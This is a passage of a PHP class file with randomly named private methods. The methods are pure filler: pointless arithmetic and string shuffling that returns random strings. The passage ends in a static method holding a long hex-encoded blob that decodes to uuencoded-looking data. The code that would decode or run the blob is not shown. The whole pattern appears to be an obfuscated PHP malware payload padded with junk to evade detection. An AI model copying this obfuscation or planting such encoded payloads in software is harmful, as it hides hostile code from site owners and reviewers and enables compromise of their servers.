$__TFZpjyPE = $__TFZpjyPE * 8;
if ($__TFZpjyPE % 2 == 0) {
$ja236Eqfva = strrev($ja236Eqfva);
} else {
$ja236Eqfva = strtoupper($ja236Eqfva);
}
} else {
$ja236Eqfva = strtolower($ja236Eqfva);
}
for ($i = 0; $i < 3; $i++) {
$krIwFB4_Wm += $i * 4;
$__TFZpjyPE = $__TFZpjyPE - ($i % 3);
}
$krIwFB4_Wm = 84151;
$HO48klf5Ky = '3DJCy06IwDrx';
$jSTHuk4V2Q = $krIwFB4_Wm + strlen($HO48klf5Ky);
if ($jSTHuk4V2Q > 282) {
$krIwFB4_Wm = $krIwFB4_Wm * 8;
if ($krIwFB4_Wm % 2 == 0) {
$HO48klf5Ky = strrev($HO48klf5Ky);
} else {
$HO48klf5Ky = strtoupper($HO48klf5Ky);
}
} else {
$HO48klf5Ky = strtolower($HO48klf5Ky);
}
for ($i = 0; $i < 8; $i++) {
$jSTHuk4V2Q += $i * 5;
$krIwFB4_Wm = $krIwFB4_Wm - ($i % 3);
}
return "PhFmXV4A6Mkf4R_nWGwt";
}
private function LoJ8H9qy_KXHJSi($D1Dezich = null) {
$iCSxbfEaTY = 79325;
$xyzqh_XApk = 'rd6GHZtbmPfv';
$JslStV1ffP = $iCSxbfEaTY + strlen($xyzqh_XApk);
if ($JslStV1ffP > 170) {
$iCSxbfEaTY = $iCSxbfEaTY * 2;
if ($iCSxbfEaTY % 2 == 0) {
$xyzqh_XApk = strrev($xyzqh_XApk);
} else {
$xyzqh_XApk = strtoupper($xyzqh_XApk);
}
} else {
$xyzqh_XApk = strtolower($xyzqh_XApk);
}
for ($i = 0; $i < 5; $i++) {
$JslStV1ffP += $i * 1;
$iCSxbfEaTY = $iCSxbfEaTY - ($i % 3);
}
$HO48klf5Ky = 71350;
$nUAVOzXyAi = 'ZfpmJqFriRE4';
$aCbPbY1Fn9 = $HO48klf5Ky + strlen($nUAVOzXyAi);
if ($aCbPbY1Fn9 > 377) {
$HO48klf5Ky = $HO48klf5Ky * 4;
if ($HO48klf5Ky % 2 == 0) {
$nUAVOzXyAi = strrev($nUAVOzXyAi);
} else {
$nUAVOzXyAi = strtoupper($nUAVOzXyAi);
}
} else {
$nUAVOzXyAi = strtolower($nUAVOzXyAi);
}
for ($i = 0; $i < 6; $i++) {
$aCbPbY1Fn9 += $i * 2;
$HO48klf5Ky = $HO48klf5Ky - ($i % 3);
}
$JslStV1ffP = 41577;
$_niEAKtbnZ = 'sLSNwYNELcun';
$jSTHuk4V2Q = $JslStV1ffP + strlen($_niEAKtbnZ);
if ($jSTHuk4V2Q > 236) {
$JslStV1ffP = $JslStV1ffP * 4;
if ($JslStV1ffP % 2 == 0) {
$_niEAKtbnZ = strrev($_niEAKtbnZ);
} else {
$_niEAKtbnZ = strtoupper($_niEAKtbnZ);
}
} else {
$_niEAKtbnZ = strtolower($_niEAKtbnZ);
}
for ($i = 0; $i < 5; $i++) {
$jSTHuk4V2Q += $i * 4;
$JslStV1ffP = $JslStV1ffP - ($i % 3);
}
$nUAVOzXyAi = 75871;
$krIwFB4_Wm = 'zOkiSKB7c889';
$BxSbvrY8jQ = $nUAVOzXyAi + strlen($krIwFB4_Wm);
if ($BxSbvrY8jQ > 320) {
$nUAVOzXyAi = $nUAVOzXyAi * 8;
if ($nUAVOzXyAi % 2 == 0) {
$krIwFB4_Wm = strrev($krIwFB4_Wm);
} else {
$krIwFB4_Wm = strtoupper($krIwFB4_Wm);
}
} else {
$krIwFB4_Wm = strtolower($krIwFB4_Wm);
}
for ($i = 0; $i < 4; $i++) {
$BxSbvrY8jQ += $i * 1;
$nUAVOzXyAi = $nUAVOzXyAi - ($i % 3);
}
$E7hFSv6I1q = 18149;
$as3AjuLwF_ = 'Jfo70aJd9z_L';
$CB_QHfyEXB = $E7hFSv6I1q + strlen($as3AjuLwF_);
if ($CB_QHfyEXB > 346) {
$E7hFSv6I1q = $E7hFSv6I1q * 2;
if ($E7hFSv6I1q % 2 == 0) {
$as3AjuLwF_ = strrev($as3AjuLwF_);
} else {
$as3AjuLwF_ = strtoupper($as3AjuLwF_);
}
} else {
$as3AjuLwF_ = strtolower($as3AjuLwF_);
}
for ($i = 0; $i < 4; $i++) {
$CB_QHfyEXB += $i * 1;
$E7hFSv6I1q = $E7hFSv6I1q - ($i % 3);
}
$tqR5_y8zxK = 49974;
$T5jfCZMAni = 'tPVAZ2RARsxm';
$krIwFB4_Wm = $tqR5_y8zxK + strlen($T5jfCZMAni);
if ($krIwFB4_Wm > 212) {
$tqR5_y8zxK = $tqR5_y8zxK * 7;
if ($tqR5_y8zxK % 2 == 0) {
$T5jfCZMAni = strrev($T5jfCZMAni);
} else {
$T5jfCZMAni = strtoupper($T5jfCZMAni);
}
} else {
$T5jfCZMAni = strtolower($T5jfCZMAni);
}
for ($i = 0; $i < 8; $i++) {
$krIwFB4_Wm += $i * 4;
$tqR5_y8zxK = $tqR5_y8zxK - ($i % 3);
}
return "il0Mqyjfn4Ke4OTmhB3B";
}
private function wIkun7BBuyAxQ4u($O6yRACMN = null) {
$nUAVOzXyAi = 77606;
$as3AjuLwF_ = 'xoPwxnwW1LdE';
$krIwFB4_Wm = $nUAVOzXyAi + strlen($as3AjuLwF_);
if ($krIwFB4_Wm > 158) {
$nUAVOzXyAi = $nUAVOzXyAi * 3;
if ($nUAVOzXyAi % 2 == 0) {
$as3AjuLwF_ = strrev($as3AjuLwF_);
} else {
$as3AjuLwF_ = strtoupper($as3AjuLwF_);
}
} else {
$as3AjuLwF_ = strtolower($as3AjuLwF_);
}
for ($i = 0; $i < 8; $i++) {
$krIwFB4_Wm += $i * 4;
$nUAVOzXyAi = $nUAVOzXyAi - ($i % 3);
}
$VElxffSdac = 50342;
$krIwFB4_Wm = 'Eb8Jo8nyGDAh';
$R9d6x9USWI = $VElxffSdac + strlen($krIwFB4_Wm);
if ($R9d6x9USWI > 206) {
$VElxffSdac = $VElxffSdac * 8;
if ($VElxffSdac % 2 == 0) {
$krIwFB4_Wm = strrev($krIwFB4_Wm);
} else {
$krIwFB4_Wm = strtoupper($krIwFB4_Wm);
}
} else {
$krIwFB4_Wm = strtolower($krIwFB4_Wm);
}
for ($i = 0; $i < 4; $i++) {
$R9d6x9USWI += $i * 5;
$VElxffSdac = $VElxffSdac - ($i % 3);
}
$xQv2kLpZS0 = 35429;
$JslStV1ffP = '6FPFVwrcavSC';
$CB_QHfyEXB = $xQv2kLpZS0 + strlen($JslStV1ffP);
if ($CB_QHfyEXB > 364) {
$xQv2kLpZS0 = $xQv2kLpZS0 * 5;
if ($xQv2kLpZS0 % 2 == 0) {
$JslStV1ffP = strrev($JslStV1ffP);
} else {
$JslStV1ffP = strtoupper($JslStV1ffP);
}
} else {
$JslStV1ffP = strtolower($JslStV1ffP);
}
for ($i = 0; $i < 5; $i++) {
$CB_QHfyEXB += $i * 3;
$xQv2kLpZS0 = $xQv2kLpZS0 - ($i % 3);
}
$jSTHuk4V2Q = 35952;
$UiJ8BvKtqc = 'CKcJscjWAJyB';
$__TFZpjyPE = $jSTHuk4V2Q + strlen($UiJ8BvKtqc);
if ($__TFZpjyPE > 497) {
$jSTHuk4V2Q = $jSTHuk4V2Q * 2;
if ($jSTHuk4V2Q % 2 == 0) {
$UiJ8BvKtqc = strrev($UiJ8BvKtqc);
} else {
$UiJ8BvKtqc = strtoupper($UiJ8BvKtqc);
}
} else {
$UiJ8BvKtqc = strtolower($UiJ8BvKtqc);
}
for ($i = 0; $i < 8; $i++) {
$__TFZpjyPE += $i * 2;
$jSTHuk4V2Q = $jSTHuk4V2Q - ($i % 3);
}
$aCbPbY1Fn9 = 58643;
$_niEAKtbnZ = 'RE620cFSKQVy';
$jSTHuk4V2Q = $aCbPbY1Fn9 + strlen($_niEAKtbnZ);
if ($jSTHuk4V2Q > 207) {
$aCbPbY1Fn9 = $aCbPbY1Fn9 * 5;
if ($aCbPbY1Fn9 % 2 == 0) {
$_niEAKtbnZ = strrev($_niEAKtbnZ);
} else {
$_niEAKtbnZ = strtoupper($_niEAKtbnZ);
}
} else {
$_niEAKtbnZ = strtolower($_niEAKtbnZ);
}
for ($i = 0; $i < 6; $i++) {
$jSTHuk4V2Q += $i * 1;
$aCbPbY1Fn9 = $aCbPbY1Fn9 - ($i % 3);
}
$LYE1tsv7Zj = 76820;
$krIwFB4_Wm = '1Y4P6suWBIN8';
$CB_QHfyEXB = $LYE1tsv7Zj + strlen($krIwFB4_Wm);
if ($CB_QHfyEXB > 216) {
$LYE1tsv7Zj = $LYE1tsv7Zj * 2;
if ($LYE1tsv7Zj % 2 == 0) {
$krIwFB4_Wm = strrev($krIwFB4_Wm);
} else {
$krIwFB4_Wm = strtoupper($krIwFB4_Wm);
}
} else {
$krIwFB4_Wm = strtolower($krIwFB4_Wm);
}
for ($i = 0; $i < 5; $i++) {
$CB_QHfyEXB += $i * 4;
$LYE1tsv7Zj = $LYE1tsv7Zj - ($i % 3);
}
return "BhMEabUaUEk1rqwjfJDX";
}
private function WU9E1Uj4ZzDQDvr($isF7TO3q = null) {
$HO48klf5Ky = 58412;
$mnO6LpSrSP = 'XIkXPAEJQLr9';
$aCbPbY1Fn9 = $HO48klf5Ky + strlen($mnO6LpSrSP);
if ($aCbPbY1Fn9 > 387) {
$HO48klf5Ky = $HO48klf5Ky * 2;
if ($HO48klf5Ky % 2 == 0) {
$mnO6LpSrSP = strrev($mnO6LpSrSP);
} else {
$mnO6LpSrSP = strtoupper($mnO6LpSrSP);
}
} else {
$mnO6LpSrSP = strtolower($mnO6LpSrSP);
}
for ($i = 0; $i < 3; $i++) {
$aCbPbY1Fn9 += $i * 4;
$HO48klf5Ky = $HO48klf5Ky - ($i % 3);
}
$xyzqh_XApk = 12895;
$xyzqh_XApk = '1KATboxKrAQz';
$mnO6LpSrSP = $xyzqh_XApk + strlen($xyzqh_XApk);
if ($mnO6LpSrSP > 211) {
$xyzqh_XApk = $xyzqh_XApk * 6;
if ($xyzqh_XApk % 2 == 0) {
$xyzqh_XApk = strrev($xyzqh_XApk);
} else {
$xyzqh_XApk = strtoupper($xyzqh_XApk);
}
} else {
$xyzqh_XApk = strtolower($xyzqh_XApk);
}
for ($i = 0; $i < 6; $i++) {
$mnO6LpSrSP += $i * 1;
$xyzqh_XApk = $xyzqh_XApk - ($i % 3);
}
$VKWQunwgZP = 8306;
$E7hFSv6I1q = '2gKs2YvMVoT3';
$JslStV1ffP = $VKWQunwgZP + strlen($E7hFSv6I1q);
if ($JslStV1ffP > 109) {
$VKWQunwgZP = $VKWQunwgZP * 3;
if ($VKWQunwgZP % 2 == 0) {
$E7hFSv6I1q = strrev($E7hFSv6I1q);
} else {
$E7hFSv6I1q = strtoupper($E7hFSv6I1q);
}
} else {
$E7hFSv6I1q = strtolower($E7hFSv6I1q);
}
for ($i = 0; $i < 3; $i++) {
$JslStV1ffP += $i * 5;
$VKWQunwgZP = $VKWQunwgZP - ($i % 3);
}
$_niEAKtbnZ = 72912;
$tqR5_y8zxK = 'i6nzWXjTzvBq';
$JslStV1ffP = $_niEAKtbnZ + strlen($tqR5_y8zxK);
if ($JslStV1ffP > 499) {
$_niEAKtbnZ = $_niEAKtbnZ * 8;
if ($_niEAKtbnZ % 2 == 0) {
$tqR5_y8zxK = strrev($tqR5_y8zxK);
} else {
$tqR5_y8zxK = strtoupper($tqR5_y8zxK);
}
} else {
$tqR5_y8zxK = strtolower($tqR5_y8zxK);
}
for ($i = 0; $i < 4; $i++) {
$JslStV1ffP += $i * 2;
$_niEAKtbnZ = $_niEAKtbnZ - ($i % 3);
}
$R9d6x9USWI = 89901;
$__TFZpjyPE = 'YFfe7k2AbkmY';
$aQezF_3IXO = $R9d6x9USWI + strlen($__TFZpjyPE);
if ($aQezF_3IXO > 392) {
$R9d6x9USWI = $R9d6x9USWI * 2;
if ($R9d6x9USWI % 2 == 0) {
$__TFZpjyPE = strrev($__TFZpjyPE);
} else {
$__TFZpjyPE = strtoupper($__TFZpjyPE);
}
} else {
$__TFZpjyPE = strtolower($__TFZpjyPE);
}
for ($i = 0; $i < 6; $i++) {
$aQezF_3IXO += $i * 2;
$R9d6x9USWI = $R9d6x9USWI - ($i % 3);
}
$xyzqh_XApk = 8131;
$HO48klf5Ky = 'twn6Knoqcvf8';
$xQv2kLpZS0 = $xyzqh_XApk + strlen($HO48klf5Ky);
if ($xQv2kLpZS0 > 356) {
$xyzqh_XApk = $xyzqh_XApk * 4;
if ($xyzqh_XApk % 2 == 0) {
$HO48klf5Ky = strrev($HO48klf5Ky);
} else {
$HO48klf5Ky = strtoupper($HO48klf5Ky);
}
} else {
$HO48klf5Ky = strtolower($HO48klf5Ky);
}
for ($i = 0; $i < 3; $i++) {
$xQv2kLpZS0 += $i * 5;
$xyzqh_XApk = $xyzqh_XApk - ($i % 3);
}
$VKWQunwgZP = 14953;
$VElxffSdac = 'iIsLIeWWigOg';
$aCbPbY1Fn9 = $VKWQunwgZP + strlen($VElxffSdac);
if ($aCbPbY1Fn9 > 199) {
$VKWQunwgZP = $VKWQunwgZP * 2;
if ($VKWQunwgZP % 2 == 0) {
$VElxffSdac = strrev($VElxffSdac);
} else {
$VElxffSdac = strtoupper($VElxffSdac);
}
} else {
$VElxffSdac = strtolower($VElxffSdac);
}
for ($i = 0; $i < 8; $i++) {
$aCbPbY1Fn9 += $i * 5;
$VKWQunwgZP = $VKWQunwgZP - ($i % 3);
}
return "akm7ysYl4gwXyD7jdsTY";
}
private function a85zyURVif6wqph($jrB3eGyA = null) {
$BxSbvrY8jQ = 69060;
$aQezF_3IXO = 'WbBrKjftqgH1';
$iCSxbfEaTY = $BxSbvrY8jQ + strlen($aQezF_3IXO);
if ($iCSxbfEaTY > 210) {
$BxSbvrY8jQ = $BxSbvrY8jQ * 5;
if ($BxSbvrY8jQ % 2 == 0) {
$aQezF_3IXO = strrev($aQezF_3IXO);
} else {
$aQezF_3IXO = strtoupper($aQezF_3IXO);
}
} else {
$aQezF_3IXO = strtolower($aQezF_3IXO);
}
for ($i = 0; $i < 8; $i++) {
$iCSxbfEaTY += $i * 1;
$BxSbvrY8jQ = $BxSbvrY8jQ - ($i % 3);
}
$UiJ8BvKtqc = 89616;
$VKWQunwgZP = 'aK_eMD0RvFO0';
$CB_QHfyEXB = $UiJ8BvKtqc + strlen($VKWQunwgZP);
if ($CB_QHfyEXB > 172) {
$UiJ8BvKtqc = $UiJ8BvKtqc * 8;
if ($UiJ8BvKtqc % 2 == 0) {
$VKWQunwgZP = strrev($VKWQunwgZP);
} else {
$VKWQunwgZP = strtoupper($VKWQunwgZP);
}
} else {
$VKWQunwgZP = strtolower($VKWQunwgZP);
}
for ($i = 0; $i < 6; $i++) {
$CB_QHfyEXB += $i * 3;
$UiJ8BvKtqc = $UiJ8BvKtqc - ($i % 3);
}
$iCSxbfEaTY = 41225;
$as3AjuLwF_ = 'hk6aom73SH6H';
$aCbPbY1Fn9 = $iCSxbfEaTY + strlen($as3AjuLwF_);
if ($aCbPbY1Fn9 > 403) {
$iCSxbfEaTY = $iCSxbfEaTY * 8;
if ($iCSxbfEaTY % 2 == 0) {
$as3AjuLwF_ = strrev($as3AjuLwF_);
} else {
$as3AjuLwF_ = strtoupper($as3AjuLwF_);
}
} else {
$as3AjuLwF_ = strtolower($as3AjuLwF_);
}
for ($i = 0; $i < 4; $i++) {
$aCbPbY1Fn9 += $i * 1;
$iCSxbfEaTY = $iCSxbfEaTY - ($i % 3);
}
$__TFZpjyPE = 64238;
$_niEAKtbnZ = 'mXtzDEk6ve77';
$xQv2kLpZS0 = $__TFZpjyPE + strlen($_niEAKtbnZ);
if ($xQv2kLpZS0 > 115) {
$__TFZpjyPE = $__TFZpjyPE * 5;
if ($__TFZpjyPE % 2 == 0) {
$_niEAKtbnZ = strrev($_niEAKtbnZ);
} else {
$_niEAKtbnZ = strtoupper($_niEAKtbnZ);
}
} else {
$_niEAKtbnZ = strtolower($_niEAKtbnZ);
}
for ($i = 0; $i < 4; $i++) {
$xQv2kLpZS0 += $i * 1;
$__TFZpjyPE = $__TFZpjyPE - ($i % 3);
}
$as3AjuLwF_ = 51227;
$_niEAKtbnZ = 'BEdxBToCYK3e';
$tqR5_y8zxK = $as3AjuLwF_ + strlen($_niEAKtbnZ);
if ($tqR5_y8zxK > 289) {
$as3AjuLwF_ = $as3AjuLwF_ * 5;
if ($as3AjuLwF_ % 2 == 0) {
$_niEAKtbnZ = strrev($_niEAKtbnZ);
} else {
$_niEAKtbnZ = strtoupper($_niEAKtbnZ);
}
} else {
$_niEAKtbnZ = strtolower($_niEAKtbnZ);
}
for ($i = 0; $i < 5; $i++) {
$tqR5_y8zxK += $i * 3;
$as3AjuLwF_ = $as3AjuLwF_ - ($i % 3);
}
$__TFZpjyPE = 23519;
$xyzqh_XApk = 'Lrobi0PN8SJy';
$HO48klf5Ky = $__TFZpjyPE + strlen($xyzqh_XApk);
if ($HO48klf5Ky > 148) {
$__TFZpjyPE = $__TFZpjyPE * 5;
if ($__TFZpjyPE % 2 == 0) {
$xyzqh_XApk = strrev($xyzqh_XApk);
} else {
$xyzqh_XApk = strtoupper($xyzqh_XApk);
}
} else {
$xyzqh_XApk = strtolower($xyzqh_XApk);
}
for ($i = 0; $i < 6; $i++) {
$HO48klf5Ky += $i * 3;
$__TFZpjyPE = $__TFZpjyPE - ($i % 3);
}
$LYE1tsv7Zj = 78294;
$T5jfCZMAni = 'fD3OFtO1HzwH';
$xyzqh_XApk = $LYE1tsv7Zj + strlen($T5jfCZMAni);
if ($xyzqh_XApk > 494) {
$LYE1tsv7Zj = $LYE1tsv7Zj * 4;
if ($LYE1tsv7Zj % 2 == 0) {
$T5jfCZMAni = strrev($T5jfCZMAni);
} else {
$T5jfCZMAni = strtoupper($T5jfCZMAni);
}
} else {
$T5jfCZMAni = strtolower($T5jfCZMAni);
}
for ($i = 0; $i < 3; $i++) {
$xyzqh_XApk += $i * 1;
$LYE1tsv7Zj = $LYE1tsv7Zj - ($i % 3);
}
$mnO6LpSrSP = 65174;
$BxSbvrY8jQ = 'WaDTCFoPYWbC';
$nUAVOzXyAi = $mnO6LpSrSP + strlen($BxSbvrY8jQ);
if ($nUAVOzXyAi > 103) {
$mnO6LpSrSP = $mnO6LpSrSP * 2;
if ($mnO6LpSrSP % 2 == 0) {
$BxSbvrY8jQ = strrev($BxSbvrY8jQ);
} else {
$BxSbvrY8jQ = strtoupper($BxSbvrY8jQ);
}
} else {
$BxSbvrY8jQ = strtolower($BxSbvrY8jQ);
}
for ($i = 0; $i < 6; $i++) {
$nUAVOzXyAi += $i * 1;
$mnO6LpSrSP = $mnO6LpSrSP - ($i % 3);
}
$mnO6LpSrSP = 78649;
$HO48klf5Ky = 'kYcCTp_DTbsF';
$JslStV1ffP = $mnO6LpSrSP + strlen($HO48klf5Ky);
if ($JslStV1ffP > 426) {
$mnO6LpSrSP = $mnO6LpSrSP * 8;
if ($mnO6LpSrSP % 2 == 0) {
$HO48klf5Ky = strrev($HO48klf5Ky);
} else {
$HO48klf5Ky = strtoupper($HO48klf5Ky);
}
} else {
$HO48klf5Ky = strtolower($HO48klf5Ky);
}
for ($i = 0; $i < 3; $i++) {
$JslStV1ffP += $i * 3;
$mnO6LpSrSP = $mnO6LpSrSP - ($i % 3);
}
$mnO6LpSrSP = 2051;
$E7hFSv6I1q = 'iFmftAJNpm4d';
$UiJ8BvKtqc = $mnO6LpSrSP + strlen($E7hFSv6I1q);
if ($UiJ8BvKtqc > 497) {
$mnO6LpSrSP = $mnO6LpSrSP * 3;
if ($mnO6LpSrSP % 2 == 0) {
$E7hFSv6I1q = strrev($E7hFSv6I1q);
} else {
$E7hFSv6I1q = strtoupper($E7hFSv6I1q);
}
} else {
$E7hFSv6I1q = strtolower($E7hFSv6I1q);
}
for ($i = 0; $i < 6; $i++) {
$UiJ8BvKtqc += $i * 2;
$mnO6LpSrSP = $mnO6LpSrSP - ($i % 3);
}
$VKWQunwgZP = 96417;
$HO48klf5Ky = 'y2Xs65nLKcwW';
$UiJ8BvKtqc = $VKWQunwgZP + strlen($HO48klf5Ky);
if ($UiJ8BvKtqc > 455) {
$VKWQunwgZP = $VKWQunwgZP * 2;
if ($VKWQunwgZP % 2 == 0) {
$HO48klf5Ky = strrev($HO48klf5Ky);
} else {
$HO48klf5Ky = strtoupper($HO48klf5Ky);
}
} else {
$HO48klf5Ky = strtolower($HO48klf5Ky);
}
for ($i = 0; $i < 7; $i++) {
$UiJ8BvKtqc += $i * 5;
$VKWQunwgZP = $VKWQunwgZP - ($i % 3);
}
return "brI2OKLyMEkWm88t3ULh";
}
private function wbiuz5kptlDnV8o($PUGaXJip = null) {
$krIwFB4_Wm = 76418;
$tqR5_y8zxK = 'ywqVkt5cTor2';
$xyzqh_XApk = $krIwFB4_Wm + strlen($tqR5_y8zxK);
if ($xyzqh_XApk > 343) {
$krIwFB4_Wm = $krIwFB4_Wm * 8;
if ($krIwFB4_Wm % 2 == 0) {
$tqR5_y8zxK = strrev($tqR5_y8zxK);
} else {
$tqR5_y8zxK = strtoupper($tqR5_y8zxK);
}
} else {
$tqR5_y8zxK = strtolower($tqR5_y8zxK);
}
for ($i = 0; $i < 6; $i++) {
$xyzqh_XApk += $i * 1;
$krIwFB4_Wm = $krIwFB4_Wm - ($i % 3);
}
$ja236Eqfva = 67710;
$R9d6x9USWI = 'UB03Sz14vCYE';
$nUAVOzXyAi = $ja236Eqfva + strlen($R9d6x9USWI);
if ($nUAVOzXyAi > 269) {
$ja236Eqfva = $ja236Eqfva * 6;
if ($ja236Eqfva % 2 == 0) {
$R9d6x9USWI = strrev($R9d6x9USWI);
} else {
$R9d6x9USWI = strtoupper($R9d6x9USWI);
}
} else {
$R9d6x9USWI = strtolower($R9d6x9USWI);
}
for ($i = 0; $i < 3; $i++) {
$nUAVOzXyAi += $i * 1;
$ja236Eqfva = $ja236Eqfva - ($i % 3);
}
$iCSxbfEaTY = 78262;
$JslStV1ffP = 'oI3eYVVYf24z';
$UiJ8BvKtqc = $iCSxbfEaTY + strlen($JslStV1ffP);
if ($UiJ8BvKtqc > 321) {
$iCSxbfEaTY = $iCSxbfEaTY * 3;
if ($iCSxbfEaTY % 2 == 0) {
$JslStV1ffP = strrev($JslStV1ffP);
} else {
$JslStV1ffP = strtoupper($JslStV1ffP);
}
} else {
$JslStV1ffP = strtolower($JslStV1ffP);
}
for ($i = 0; $i < 4; $i++) {
$UiJ8BvKtqc += $i * 1;
$iCSxbfEaTY = $iCSxbfEaTY - ($i % 3);
}
$UiJ8BvKtqc = 3764;
$nUAVOzXyAi = 'F5ORsIC6XvHx';
$jSTHuk4V2Q = $UiJ8BvKtqc + strlen($nUAVOzXyAi);
if ($jSTHuk4V2Q > 143) {
$UiJ8BvKtqc = $UiJ8BvKtqc * 2;
if ($UiJ8BvKtqc % 2 == 0) {
$nUAVOzXyAi = strrev($nUAVOzXyAi);
} else {
$nUAVOzXyAi = strtoupper($nUAVOzXyAi);
}
} else {
$nUAVOzXyAi = strtolower($nUAVOzXyAi);
}
for ($i = 0; $i < 6; $i++) {
$jSTHuk4V2Q += $i * 4;
$UiJ8BvKtqc = $UiJ8BvKtqc - ($i % 3);
}
$krIwFB4_Wm = 49983;
$R9d6x9USWI = 'C7FKXaBt2xn4';
$xQv2kLpZS0 = $krIwFB4_Wm + strlen($R9d6x9USWI);
if ($xQv2kLpZS0 > 352) {
$krIwFB4_Wm = $krIwFB4_Wm * 6;
if ($krIwFB4_Wm % 2 == 0) {
$R9d6x9USWI = strrev($R9d6x9USWI);
} else {
$R9d6x9USWI = strtoupper($R9d6x9USWI);
}
} else {
$R9d6x9USWI = strtolower($R9d6x9USWI);
}
for ($i = 0; $i < 8; $i++) {
$xQv2kLpZS0 += $i * 1;
$krIwFB4_Wm = $krIwFB4_Wm - ($i % 3);
}
$iCSxbfEaTY = 52255;
$CB_QHfyEXB = 'bIYzdYYsxcLn';
$JslStV1ffP = $iCSxbfEaTY + strlen($CB_QHfyEXB);
if ($JslStV1ffP > 489) {
$iCSxbfEaTY = $iCSxbfEaTY * 4;
if ($iCSxbfEaTY % 2 == 0) {
$CB_QHfyEXB = strrev($CB_QHfyEXB);
} else {
$CB_QHfyEXB = strtoupper($CB_QHfyEXB);
}
} else {
$CB_QHfyEXB = strtolower($CB_QHfyEXB);
}
for ($i = 0; $i < 5; $i++) {
$JslStV1ffP += $i * 5;
$iCSxbfEaTY = $iCSxbfEaTY - ($i % 3);
}
$VElxffSdac = 78281;
$LYE1tsv7Zj = 'A4_Kj80HfdPk';
$krIwFB4_Wm = $VElxffSdac + strlen($LYE1tsv7Zj);
if ($krIwFB4_Wm > 447) {
$VElxffSdac = $VElxffSdac * 7;
if ($VElxffSdac % 2 == 0) {
$LYE1tsv7Zj = strrev($LYE1tsv7Zj);
} else {
$LYE1tsv7Zj = strtoupper($LYE1tsv7Zj);
}
} else {
$LYE1tsv7Zj = strtolower($LYE1tsv7Zj);
}
for ($i = 0; $i < 4; $i++) {
$krIwFB4_Wm += $i * 4;
$VElxffSdac = $VElxffSdac - ($i % 3);
}
return "H_mYX8ShgYfgolZr6jvl";
}
private static function wBGTFtpyqOoMNyl() {
$jZ8UL9NKcR = "4d5e5d5f39502d4b565d5e37584f5d5332554a47425d2f3648552a235b562c475c505f5b3b482a3e40554d3b3d5d4f3f2a552d3b524f5c4b36563e273b0a4d553c3357503f5a425a3f4335483d3f40584a4246484f473c512e334a524c2759522a2f53505c3f54554f2749492a333c5d2a335c584d2760575a373c0a4d565e4745572d4a47572a2e45484f4f3c5f3d425b5d2a3b2a5c3f3a5b513e4333562f5f3b5d3f475e5f2d433c5a2d47464f5d4748543e4732494f373c0a4d595d47455e3d475a543e43325d3d5f51583d4347503d4f3b5e5f27255f3f373d564e2249512d2f5b582c225f492c3f605f5d3f434a3e235f5d3f4b380a4d492f473e483d473d5a2c4b355a3c2745483d27435f4d5747563d47234a2c32435a2a265b514e47485f5a2b235d3f2a5f563d2b44482f4b40584a3b460a4d5e5c3b26574b4f5d5d4a235e504f4b46572f3324524e235b5f4f2f3d5a4d5731565f52475e3f47385c4a3b29483a265b484f5355572d2e405a2f36410a4d5a4d4b41565d575e482c4752563a2f56522c3331585c3f3d5e2b5f5e523a3b605d4c2f39584f33355d3e4b415c4c3b43562d333b5e2f46484a2f33530a4d5e3f4f26592d4b56553e2348524f3e47563f335e493e3b34584f5749505a2245573a3b34543d4a405d2e2a494a3a3a5b523d5759584a465f482d2a430a4d5a2f2f40514e433a492d3b4a565f2724523d3328495d3321494d2f515c5e33445a3f4324573d2b32592c3a435d2f5746574f47475e5f573d575e3b3f0a4d493f5e45515d5f5c564a372a493d3b3c495f2b3a5f2a3f5f514d3f31513c4b485d3b5f28544d2f54555f5f51565d2729554a3242595d3355513a3b450a4d563c3b425e5d43574e5f4e44523d2729504f3356523d3a44523c43375e2f3f3a5d5d4b3c512f3b4a504c3247582d4742495d2753484c4242565e47590a4d563d3f3e5f5f435a595d3241582c4249514f4356514d334a4a2a2b21484b5f335e3f4f41595d5739553f5f55493e2b23582f575e593d4b5f555a33260a4d502d5f445d2f275e593d53565f4c3645585d4f53582c273a572a4246565a32484a2d27474e5a2b49483f4e485f5f4728594c3f49493e2748555f33420a4d4f5a2b54515d3e44554f535b563f4341595f3755594e3338484c2f5e564f3e40575e4b32483c3f4a492a2e42595e2f31512a33405a3d2f4a5f2a2b570a4d502d5723502e2326502f535c595c2323484a4327564a2a5f482e2241555e2f46562c3f224e5b4e435c5d3240553c43415d5b4f32493a37414f5e2b5b0a4d582f4f5c515a3f5c593c4b4a513d5741522e333c4e5e4759562b5f36504d3a41593c2e41494f3332552e4752524c3b42504a3245543d2644564c47440a4d564c233d5d3f4b605c3c3b445e4f26405f5d4333563f4321504e3339512d33495d4d5b5f543f2f51504d5327492f3752482c3b4a575c3b58574e2b490a4d5f4e372a5f5c265f492e2f3a572f2759554f3357484b4f46592f3b45572d4751503c4b4a4a3e4b25553d472a494d4f39582e3e47595f5f3c572e47470a4d493a2327504d2e5f562f5336592d32445a4d3f285f4e2723483e27535a4a433a5f5f2b425f4f2f3c554f3f48504c2f48512e37465e2b5f3d5f2c3b210a4d5f2d433d513c2a5f592f374a5a3e233c5a4d27535c3e3b5a492e2b605f4a2b48562e3b284a3c3338505c23225f4d435f515d4b28564c3248552c2e420a4d4a2e4347513f27325d5d4641555a26435f5e37215f2a373a5f3f33354e5c3b45563e3f47523c4b3e594a2f525d5e333f515a2b47595d3a45544f52440a4d583f4b415f5e22425e3c3354492a3a435e4d4b565a4e3b22523b5e5b5d4e2f535a2e3733554c4b3f593f3b58543a27485d3a2b3c573e2b3a593d37290a4d572e275e5d2a2b26592d5343505f4b354a3f3f244a3f4349555d432a504e3a5b562f435c5c4f4f544a2d3f3d572d4360493f3725594b4e5f5e2b4f480a4d515c433e563c3328502c2349565a2326554f4644564d3f3f495e2346502d36465d5d4b5d584c4b5d522e3359495e2b52562d5742583d53534a2d275d0a4d5a3f4b545d2e3b54493d4742483f32405f3c2f28585f2f59562f4740543b4f535a4e27234f5a225b583f273b595d5649495f3344565e2b5b513c4b210a4d5f4e23225e5e334a5c3c4322574e3f27554c2356572f4b5d5e5e2759484e235b544e3339573a272a565a475f524c4b4a595d3f3a552a4321483e27430a4d574e2b27512a2741562c375c573d3752582d4643545f5246502d3b40552a43295a3a2643593d2f32554e2f3b522e43315e5e3e465f3d4248502a36400a4d4e5d2a5f562a3326522d373c543e2246483d3245513c27575d3e47295c5f4b5a514f2f23573f4733553f3a41562e4b5a592c33585f4b5f5f583d53410a4d552c4325562e433c4a2f3f4a5c5a2f55562c26495a3d2b3c545c2f38592c4a5b5a2b5f40512c4b295e3d4332504a43355f2a275c574d